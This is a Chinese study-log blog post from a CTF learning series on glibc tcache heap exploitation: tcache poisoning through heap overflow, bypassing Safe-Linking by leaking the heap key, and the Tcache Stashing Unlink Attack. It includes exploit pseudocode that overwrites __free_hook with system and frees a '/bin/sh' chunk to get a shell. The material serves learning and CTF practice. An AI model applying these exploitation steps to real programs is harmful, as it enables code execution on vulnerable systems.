news 2026/7/4 8:56:53

【学习记录】Week10(三):Tcache 溢出与扩展利用——单链表劫持与高版本绕过

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
【学习记录】Week10(三):Tcache 溢出与扩展利用——单链表劫持与高版本绕过

写在前面:在上一篇中,我们重温了经典的 Unlink 利用,学习了如何通过堆溢出覆盖双向链表的fd/bk指针实现任意地址写。随着 glibc 2.26 引入 Tcache,堆的管理机制发生了翻天覆地的变化。Tcache 像一个“快速通道”,优先处理小内存的分配和释放,且几乎没有安全校验。今天,我们将探讨在 Tcache 时代,堆溢出如何直接劫持这条单链表,以及在高版本 glibc 中如何结合新特性进行扩展利用。

📑 目录

  1. Tcache 机制回顾与溢出优势
  2. 基础利用:Tcache Poisoning(溢出版)
  3. 高版本绕过:Safe-Linking 机制与堆地址泄露
  4. 扩展利用:Tcache Stashing Unlink Attack
  5. 实战演练:构造高版本 Tcache 溢出链
  6. 总结与下篇预告

1. Tcache 机制回顾与溢出优势

1.1 Tcache 结构简析

Tcache(Thread Local Caching)为每个线程维护了一个本地的空闲链表数组。在 64 位系统中,它默认管理 0x20 到 0x410 大小的 chunk。
核心结构如下:

typedef struct tcache_entry { struct tcache_entry *next; struct tcache_perthread_struct *key; // glibc 2.29+ 引入,用于检测 double free } tcache_entry; typedef struct tcache_perthread_struct { char counts[TCACHE_MAX_BINS]; // 每个_bin的chunk计数 tcache_entry *entries[TCACHE_MAX_BINS]; // 单链表头指针数组 } tcache_perthread_struct;

Tcache 链表是一个单链表,遵循后进先出(LIFO)原则。释放时 chunk 插入链表头部,分配时从链表头部取出。

1.2 为什么 Tcache 下的溢出更简单?

在传统的 Unlink 利用中,我们需要构造复杂的双向链表并绕过FD->bk == P的检查。而在 Tcache 机制下:

  1. 无双向链表检查:Tcache 是单链表,只需要修改next指针,没有任何指针完整性校验(在 glibc 2.32 之前)。
  2. 优先级最高:只要 Tcache 对应的 bin 中有 chunk,malloc会直接从 Tcache 取,不会经过 fastbin 或 unsorted bin 的复杂逻辑。
  3. 直接劫持:只要我们能通过溢出覆盖 Tcache 链表头部 chunk 的next指针,下一次malloc就会返回我们伪造的任意地址。

2. 基础利用:Tcache Poisoning(溢出版)

Tcache Poisoning(Tcache 投毒)是指通过漏洞修改 Tcache 链表中 chunk 的next指针,使其指向任意地址,从而在后续分配时获取该地址的控制权。如果是通过堆溢出实现的,就称为 Tcache 溢出利用。

2.1 利用原理

假设当前 Tcache 链表(大小 0x90)状态为:head -> chunk_A -> NULL
如果我们通过堆溢出(比如溢出 chunk_A 前面的 chunk),覆盖了 chunk_A 的next指针,将其改为target_addr
链表状态变为:head -> chunk_A -> target_addr

此时:

  1. 第一次malloc(0x80):返回chunk_A,链表头变为target_addr
  2. 第二次malloc(0x80)返回target_addr

2.2 利用流程图

堆布局: [可控 Chunk] [Tcache Chunk A]

利用溢出覆盖 Chunk A 的 next 指针
next = target_addr

链表状态: head -> A -> target_addr

第一次 malloc(size)

返回 Chunk A
链表头变为 target_addr

第二次 malloc(size)

返回 target_addr
实现任意地址写

3. 高版本绕过:Safe-Linking 机制与堆地址泄露

随着 glibc 版本的升级,Tcache 的安全性也在增强。在 glibc 2.32 中,引入了Safe-Linking机制,对 Tcache(和 fastbin)的next指针进行了加密。

3.1 Safe-Linking 原理

该机制将 chunk 的next指针与其自身地址的高 12 位(实际上是地址右移 12 位)进行异或运算后存储。

// 存储时 #define PROTECT_PTR(pos, ptr) ((void *)((((size_t)pos) >> 12) ^ ((size_t)ptr))) // 读取时 #define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)

目的:为了防止攻击者在不知道堆地址的情况下直接伪造next指针(例如直接写入一个 GOT 表地址)。现在,如果你要伪造next指向target_addr,你必须知道当前 chunk 的真实地址,计算(chunk_addr >> 12) ^ target_addr并写入。

3.2 绕过方法:泄露堆地址

要绕过 Safe-Linking,核心是获取堆基址或某个堆块地址
通常的方法是:

  1. 利用 UAF 或未初始化漏洞,泄露一个堆块中的next指针(加密后的值)。
  2. 由于next(chunk_addr >> 12) ^ next_chunk_addr,如果该 chunk 是链表末尾(next实际为 0),则加密后的值就是(chunk_addr >> 12)
  3. 通过这个值恢复出堆地址的高位(右移 12 位的值)。
  4. 在溢出构造 payload 时,使用泄露的堆地址计算出正确的异或密文:encrypted_next = (leaked_heap_base << 12) ^ target_addr

4. 扩展利用:Tcache Stashing Unlink Attack

当程序使用calloc分配内存时(calloc不从 Tcache 获取 chunk),或者当 Tcache 满了,chunk 会进入 smallbin。当从 smallbin 中取出 chunk 时,如果对应大小的 Tcache bin 未满,glibc 会将 smallbin 中剩余的 chunk 放入 Tcache 中。这个“stash”(暂存)过程存在一个经典的利用链:Tcache Stashing Unlink Attack

4.1 触发条件

  1. 存在堆溢出,能修改 smallbin 中最后一个 chunk 的bk指针。
  2. 对应大小的 Tcache bin 未满(通常需要先填满再释放几个,或控制 counts)。
  3. 使用calloc触发从 smallbin 的分配。

4.2 利用原理

当从 smallbin 取出最后一个 chunk(设为 victim)时,如果 Tcache 还有空位,glibc 会遍历 smallbin 剩余的 chunk 并放入 Tcache。遍历的依据是 victim 的bk指针。

// glibc 源码片段 bck = victim->bk; bin->bk = bck; bck->fd = bin; // 关键漏洞点:向 bck->fd 写入 bin 的地址 // 随后 victim 被放入 Tcache tcache_put(victim);

如果我们通过溢出,将 victim 的bk修改为target_addr - 0x10(在 64 位下,fd字段在 chunk 头部偏移 0x10 处)。
那么执行bck->fd = bin时,就会向target_addr写入一个 main_arena 的地址(即 libc 地址)。

同时,由于后续的 stash 逻辑,target_addr也会被作为一个 chunk 放入 Tcache 链表。这意味着我们不仅实现了向任意地址写入 libc 地址,还实现了将任意地址加入 Tcache 链表,后续可以通过malloc获取该地址。

4.3 应用场景

  • 修改global_max_fast:将其改写为一个很大的值(libc 地址通常很大),使得很大的 chunk 也能被当作 fastbin 处理,从而利用 fastbin attack。
  • 伪造_IO_list_all:为 FSOP(File Stream Oriented Programming)攻击做准备。

5. 实战演练:构造高版本 Tcache 溢出链

让我们结合前面的知识,构造一个在 glibc 2.32 环境下的 Tcache 溢出利用伪代码。

5.1 场景设定

  • glibc 版本:2.32(启用 Safe-Linking)
  • 漏洞edit函数存在堆溢出,可以修改下一个 chunk 的内容。
  • 目标:通过 Tcache Poisoning 分配到__free_hook,覆盖为system

5.2 利用步骤与 Payload 构造

步骤 1:泄露堆地址

# 1. 分配并释放一个 chunk 进入 Tcache add(0, 0x28) # chunk A free(0) # chunk A 进入 Tcache[0x30] # 2. 利用 UAF 或 show 功能读取 chunk A 的 next 指针 # 此时 A 是链表尾,next 实际为 0,加密后存储为 (A_addr >> 12) ^ 0 leaked_ptr = show(0) heap_key = u64(leaked_ptr.ljust(8, b'\x00')) # 这就是 A_addr >> 12

步骤 2:布置堆块

# 分配 chunk B, C, D # B 用于溢出,C 是目标 Tcache chunk,D 防止合并 add(1, 0x28) # chunk B (与 A 重合或新分配,看具体题目逻辑) add(2, 0x28) # chunk C (将被 free 进 Tcache) add(3, 0x28) # chunk D # 释放 C,此时 Tcache[0x30]: head -> C -> (如果A还在则连A) free(2)

步骤 3:构造溢出 Payload
假设我们要让malloc返回__free_hook的地址。
我们需要覆盖 chunk C 的next指针。由于 Safe-Linking,我们要写入的值是:
encrypted_next = (heap_key) ^ __free_hook_addr(注意:heap_key实际上是 C 的地址右移 12 位,如果 C 的地址和 A 不同,需要计算偏移。假设我们泄露的就是 C 的地址的 key)。

free_hook_addr = libc_base + libc.sym['__free_hook'] # 假设泄露的 heap_key 就是 chunk C 对应的 key (C_addr >> 12) # 如果不是,需要根据堆布局推算 C_addr c_addr_key = heap_key # 简化场景 encrypted_next = c_addr_key ^ free_hook_addr # 构造溢出 payload payload = b'A' * 0x28 # 填满 chunk B payload += p64(0) + p64(0x31) # 伪造 chunk C 的 header (prev_size + size) payload += p64(encrypted_next) # 覆盖 chunk C 的 next 指针 edit(1, payload) # 触发溢出

步骤 4:触发分配获取 Hook

# 第一次 malloc 返回 chunk C add(4, 0x28) # 第二次 malloc 返回 __free_hook add(5, 0x28) # 此时 chunk 5 的指针指向 __free_hook # 向 chunk 5 写入 system 地址 edit(5, p64(libc_base + libc.sym['system'])) # 释放一个包含 "/bin/sh" 的 chunk,触发 system("/bin/sh") add(6, 0x28, b'/bin/sh\x00') free(6)

6. 总结与下篇预告

6.1 核心知识点总结

  1. Tcache 简化了利用:单链表结构且无校验,使得堆溢出覆盖next指针即可实现任意地址分配,无需复杂的 Unlink 绕过。
  2. Safe-Linking 是新屏障:glibc 2.32 引入的指针加密机制,要求必须泄露堆地址(右移 12 位的值)才能正确伪造next指针。
  3. Tcache Stashing Unlink Attack:利用calloc不走 Tcache 的特性,结合 smallbin 到 Tcache 的暂存机制,实现向任意地址写入 libc 地址并加入 Tcache 链表的高级利用。
  4. 溢出的核心作用:在 Tcache 体系下,溢出主要用于篡改链表指针(next)或篡改 smallbin 指针(bk),从而劫持内存分配流。

6.2 下篇预告

下一篇,我们将迎来 Week10 的收官之战——综合练习:off-by-one + tcache 组合题。我们将结合第一篇的 Off-by-one 漏洞和本篇的 Tcache 利用,模拟一道完整的 CTF PWN 题目,从漏洞分析、堆布局设计到最终 EXP 构造,手把手实战演练!

最终结论:Tcache 机制既是福音也是诅咒。它极大地简化了小内存堆漏洞的利用路径,但也催生了如 Safe-Linking 等新的防护机制。掌握 Tcache 溢出利用,是现代 CTF PWN 选手的必备技能,也是理解高版本 glibc 堆利用的关键。

参考文献

  1. CTF Wiki - Heap Exploitation: Tcache
  2. glibc 2.32 Safe-Linking 机制分析
  3. Tcache Stashing Unlink Attack 原理与利用
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/4 8:55:07

Numactl项目中CPU亲和性设置失效问题分析

Numactl项目中CPU亲和性设置失效问题分析 【免费下载链接】numactl NUMA support for Linux 项目地址: https://gitcode.com/gh_mirrors/nu/numactl 在Linux系统性能调优领域&#xff0c;numactl是一个重要的工具集&#xff0c;它允许用户对NUMA架构下的内存和CPU资源进…

作者头像 李华
网站建设 2026/7/4 8:54:44

非标设备运动控制:直线模组与直线电机核心技术解析

1. 非标设备运动控制的核心组件解析在工业自动化领域&#xff0c;非标设备的开发一直是个既充满挑战又极具创造性的工作。作为一名从事自动化设备设计十余年的工程师&#xff0c;我深刻体会到运动控制部件选型对整个设备性能的决定性影响。威洛博的直线模组和直线电机系列产品&…

作者头像 李华
网站建设 2026/7/4 8:53:03

Exercises Dataset多平台适配:响应式设计与跨平台开发完整指南

Exercises Dataset多平台适配&#xff1a;响应式设计与跨平台开发完整指南 【免费下载链接】exercises-dataset A comprehensive dataset of 433 fitness exercises. Each entry includes name, category, target muscle group, equipment, instructions, thumbnail image, and…

作者头像 李华
网站建设 2026/7/4 8:50:46

计算机毕业设计之基于用户行为的个性化推荐机票推荐系统

随着航空出行需求日益增长&#xff0c;传统机票销售系统已难以满足用户个性化需求。本设计旨在利用先进技术构建基于用户行为的个性化机票推荐系统&#xff0c;提升用户体验与机票销售效率。系统前端采用 Vue 框架&#xff0c;凭借其组件化开发与响应式数据绑定特性&#xff0c…

作者头像 李华